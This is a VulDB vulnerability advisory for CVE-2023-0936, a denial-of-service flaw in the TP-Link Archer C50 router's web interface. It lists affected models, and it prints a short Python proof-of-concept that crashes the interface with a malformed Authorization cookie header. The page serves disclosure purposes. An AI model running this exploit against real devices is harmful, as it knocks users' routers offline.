TP-Link Archer C50 V2_160801 Web Management Interface denial of service

Summaryinfo

A vulnerability, which was classified as problematic, was found in TP-Link Archer C50 V2_160801. Affected by this issue is some unknown functionality of the component Web Management Interface. Such manipulation leads to denial of service. This vulnerability is uniquely identified as CVE-2023-0936. The attack can only be initiated within the local network. Moreover, an exploit is present.

Detailsinfo

A vulnerability was found in TP-Link Archer C50 V2_160801. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Web Management Interface. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.

The weakness was disclosed 02/21/2023. This vulnerability is handled as CVE-2023-0936. Technical details are unknown but a public exploit is available.

A public exploit has been developed in Python. The exploit is available at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests
import time

device_web_ip = '192.168.0.1'
request = {'HEAD' : 
    {'Host' : '{}'.format(device_web_ip),
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5', 
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Cookie' : 'Authorization',
    'Upgrade-Insecure-Requests' : '1',
    'Cache-Control' : 'max-age=0'
    },
    'ATTR':
    {'URL': 'http://{}/'.format(device_web_ip), 
    'METHOD': 'GET', 
    'VERSION': 'HTTP/1.1'
    }
}

headers = request['HEAD']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

try:
  r = requests.request(method=method,url=url,headers=headers,verify=False,timeout=0.5)
except:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Affected

• TP-Link Archer C50 V2_160801
• TP-Link Archer C2v1 V1_170228
• TP-Link Archer C20v1 V1_141217
• TP-Link Archer C7v2 V1_170228

Productinfo

Vendor

• TP-Link

Name

• Archer C50

Version

• V2_160801

License

• commercial

Website

• Vendor: https://www.tp-link.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #89806: Web crash found on TP-LINK router(Archer C50(US)_V2_160801) (by a2ure)

Duplicate

• Submit #XXXXXX: Xxx Xxxxx Xxxxx Xx Xx-xxxx Xxxxxx (by a2ure)
• Submit #XXXXXX: Xxx Xxxxx Xxxxx Xx Xx-xxxx（xxxx) Xxxxxx (by a2ure)
• Submit #XXXXXX: Xxx Xxxxx Xxxxx Xx Xx-xxxx（xxxxx) Xxxxxx (by a2ure)

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion